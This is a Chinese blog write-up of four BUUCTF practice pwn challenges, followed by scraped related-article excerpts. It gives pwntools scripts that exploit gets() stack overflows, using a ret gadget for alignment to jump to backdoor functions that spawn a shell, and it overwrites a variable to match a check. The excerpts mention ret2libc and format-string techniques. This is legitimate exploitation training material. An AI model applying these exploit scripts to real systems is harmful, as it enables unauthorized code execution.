PWN-PRACTICE-BUUCTF-1

PWN-PRACTICE-BUUCTF-1

    • test_your_nc
    • rip
    • warmup_csaw_2016
    • ciscn_2019_n_1

test_your_nc

附件的main函数直接system("/bin/sh"),nc直接连即可cat flag
test_your_nc-flag

rip

main函数中,gets函数读取一行会造成栈溢出
构造payload覆盖rip,使得return时跳转到后门函数fun
rip-main
脚本如下,特别注意的是附件为64位的elf,调用system时必须保证地址是16字节对齐的
参考:在一些64位的glibc的payload调用system函数失败问题
一般在调用system前用一个ret指令来实现内存对齐
ret指令可以用ROPgadget来找,如下

ROPgadget --binary pwn1 --only 'ret'
from pwn import *
#io=process("./pwn1")
io=remote("node4.buuoj.cn",29206)
#连接到服务器上没有输入的回显,直接打就行了
#io.recvuntil("please input\n")
fun_addr=0x401186
ret_addr=0x401016
#payload=b'a'*(15+8)+p64(fun_addr)
#64位的elf 调用system时 需要16字节的内存对齐 用一个ret指令来对齐
payload=b'a'*(15+8)+p64(ret_addr)+p64(fun_addr)
io.sendline(payload)
io.interactive()

warmup_csaw_2016

main函数中,程序打印后门地址,gets造成栈溢出,和上面那道rip一样的思路
warmup_csaw_2016-main
几乎和rip一样的脚本
用一条ret去对齐内存,本地和远程都能打通
不用ret去对齐,本地打不通,远程能打通

from pwn import *
#io=process("./warmup_csaw_2016")
io=remote("node4.buuoj.cn",26619)
backdoor_addr=0x40060D
ret_addr=0x4004a1
payload=b'a'*(64+8)+p64(ret_addr)+p64(backdoor_addr)
io.sendline(payload)
io.interactive()

ciscn_2019_n_1

main函数进行一些初始化,然后来到func函数
可以看到,v2被赋初值为0.0,而gets可以造成溢出,超过44个字节的部分会覆盖到v2
ciscn_2019_n_1-func
于是考虑将v2覆盖为11.28125,但是不能直接在填充v1的44个字节后面加“11.28125”
需要用二进制(字节)的形式去表示
根据if处的汇编代码能找到11.28125的二进制表示
ciscn_2019_n_1-num
脚本如下

from pwn import *
#io=process("./ciscn_2019_n_1")
io=remote("node4.buuoj.cn",29354)
io.recvuntil("Let's guess the number.\n")
payload=b'a'*44+p64(0x41348000)
io.sendline(payload)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438129.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C#的变迁史08 - C# 5.0 之并行编程总结篇

C# 5.0 搭载于.NET 4.5和VS2012之上。 同步操作既简单又方便,我们平时都用它。但是对于某些情况,使用同步代码会严重影响程序的可响应性,通常来说就是影响程序性能。这些情况下,我们通常是采用异步编程来完成功能,这在…

REVERSE-PRACTICE-CTFSHOW-1

REVERSE-PRACTICE-CTFSHOW-1逆向签到题re2逆向4逆向5逆向签到题 ida打开即可得到明文flag re2 附件是一个加密过的flag文本和勒索病毒exe 运行程序,输入1,回车,直接退出,ida分析 选项1的逻辑为,打开flag.txt和enfl…

C#的变迁史09 - C# 5.0 之调用信息增强篇

Caller Information CallerInformation是一个简单的新特性,包括三个新引入的Attribute,使用它们可以用来获取方法调用者的信息, 这三个Attribute在System.Runtime.CompilerServices命名空间下,分别叫做CallerMemberNameAttribute&…

REVERSE-PRACTICE-CTFSHOW-2

REVERSE-PRACTICE-CTFSHOW-2re3红包题 武穆遗书数学不及格flag白给re3 main函数,分析可知,将输入的字符串按十六进制转成数字,写到v5,赋给v17[6] 当i等于6时,v16会加上输入的值,然后进入循环,最…

C#的变迁史10 - C# 5.0 之其他增强篇

1. 内置zip压缩与解压   Zip是最为常用的文件压缩格式之一,也被几乎所有操作系统支持。在之前,使用程序去进行zip压缩和解压要靠第三方组件去支持,这一点在.NET4.5中已有所改观,Zip压缩和解压功能已经内置于框架本身。这个功能使…

REVERSE-PRACTICE-CTFSHOW-3

REVERSE-PRACTICE-CTFSHOW-3签退神光签到baby_gay签退 .pyc文件,uncompyle6反编译,得到python源码,分析写在源码注释中 先变表base64,再凯撒加密,向后移动2位 import string c_charset string.ascii_uppercase str…

REVERSE-PRACTICE-CTFSHOW-4

REVERSE-PRACTICE-CTFSHOW-4encodeEasyBJD hamburger competitionJustREencode elf文件,upx脱壳,ida分析 交叉引用字符串"Please input your flag:",来到sub_804887C函数 输入经过三次变换,先是变表base64,…

CSS 基础框盒模型介绍

当对一个文档进行布局(lay out)的时候,浏览器的渲染引擎会根据标准之一的 CSS 基础框盒模型(CSS basic box model),将所有元素表示为一个个矩形的盒子(box)。CSS 决定这些盒子的大小…

REVERSE-PRACTICE-CTFSHOW-5

REVERSE-PRACTICE-CTFSHOW-5re2_归心Mud[吃鸡杯]ezmore[吃鸡杯]有手就行re2_归心 exe程序,运行后要求输入flag,ida分析 函数窗没找到主逻辑函数,shiftF12看字符串窗口 发现有java/lang/String,com/exe4j/runtime/WinLauncher等字…

PWN-PRACTICE-BUUCTF-2

PWN-PRACTICE-BUUCTF-2pwn1_sctf_2016jarvisoj_level0ciscn_2019_c_1[第五空间2019 决赛]PWN5pwn1_sctf_2016 main函数中执行vuln函数 fgets限制了输入的长度,不足以构成栈溢出 通过将输入中的字符"I"替换成"you",增加长度&#xf…

PWN-PRACTICE-BUUCTF-3

PWN-PRACTICE-BUUCTF-3[OGeek2019]babyropciscn_2019_n_8get_started_3dsctf_2016jarvisoj_level2[OGeek2019]babyrop 简单的ret2libc,构造rop main函数中读取一个随机数到buf中,传入sub_804871F 用"\x00"来绕过strlen和strncmp,b…

c#中常用集合类和集合接口之接口系列【转】

常用集合接口系列:http://www.cnblogs.com/fengxiaojiu/p/7997704.html 常用集合类系列:http://www.cnblogs.com/fengxiaojiu/p/7997541.html 大多数集合都在System.Collections,System.Collections.Generic两个命名空间。其中System.Colle…

PWN-PRACTICE-BUUCTF-4

PWN-PRACTICE-BUUCTF-4ciscn_2019_en_2bjdctf_2020_babystacknot_the_same_3dsctf_2016[HarekazeCTF2019]baby_ropciscn_2019_en_2 这题和ciscn_2019_c_1一模一样 栈溢出ret2libc,encrypt函数里的异或运算不用管 from pwn import * context.log_level"debug&…

PWN-PRACTICE-BUUCTF-5

PWN-PRACTICE-BUUCTF-5jarvisoj_level2_x64ciscn_2019_n_5others_shellcodeciscn_2019_ne_5jarvisoj_level2_x64 这题和[HarekazeCTF2019]baby_rop几乎一模一样 from pwn import * #context.log_level"debug" ioremote(node4.buuoj.cn,27023) elfELF(./level2_x64)…

Scrum敏捷开发沉思录

计算机科学的诞生,是世人为了用数字手段解决实际生活中的问题。随着时代的发展,技术的进步,人们对于现实世界中的问题理解越来越深刻,描述也越来越抽象,于是对计算机软件的需求也越来越高,越来越复杂&#…

PWN-PRACTICE-BUUCTF-6

PWN-PRACTICE-BUUCTF-6铁人三项(第五赛区)_2018_ropbjdctf_2020_babyropbabyheap_0ctf_2017pwn2_sctf_2016铁人三项(第五赛区)_2018_rop vulnerable_function函数中read构成栈溢出,ret2libc from pwn import * context.log_level"debug" ioremote(node4…

PWN-PRACTICE-BUUCTF-7

PWN-PRACTICE-BUUCTF-7jarvisoj_fmciscn_2019_s_3SROP解法ret2csu解法bjdctf_2020_babystack2[HarekazeCTF2019]baby_rop2jarvisoj_fm 格式化字符串漏洞,可以测出我们的输入在栈上的偏移为11 自己构造或者使用fmtstr_payload构造payload均可,目标是让x4…

Axure教程 axure新手入门基础(3) 简单易上手

(三)Axure rp元件的触发事件 l OnClick(点击时): 鼠标点击事件,除了动态面板的所有的其他元件的点击时触发。比如点击按钮。 l OnMouseEnter(鼠标移入时): 鼠标进入到某个元件范围时触发,比如当鼠标移到某张图片时显示该图片的介绍。 l OnMouseOut(鼠标移…

使用Nuget 安装指定版本package或者更新package到指定版本

最近在琢磨MVC和EntityFramework,使用的VS是2013版的,在Nuget的GUI界面下安装了EntityFramework(默认安装最新版的,怎么安装指定版本还没找到),按照MVC的示例项目MusicStore逐步做的过程中发现MVC4不支持EntityFramwok 6。 尝试去更新MVC版本各种失败&a…

CSS一个元素同时使用多个类选择器(class selector)

CSS类选择器参考手册 一个元素同时使用多个类选择器 CSS中类选择器用点号表示。实际项目中一个div元素为了能被多个样式表匹配到&#xff08;样式复用&#xff09;&#xff0c;通常div的class中由好几段组成&#xff0c;如<div class"user login">能被.user和…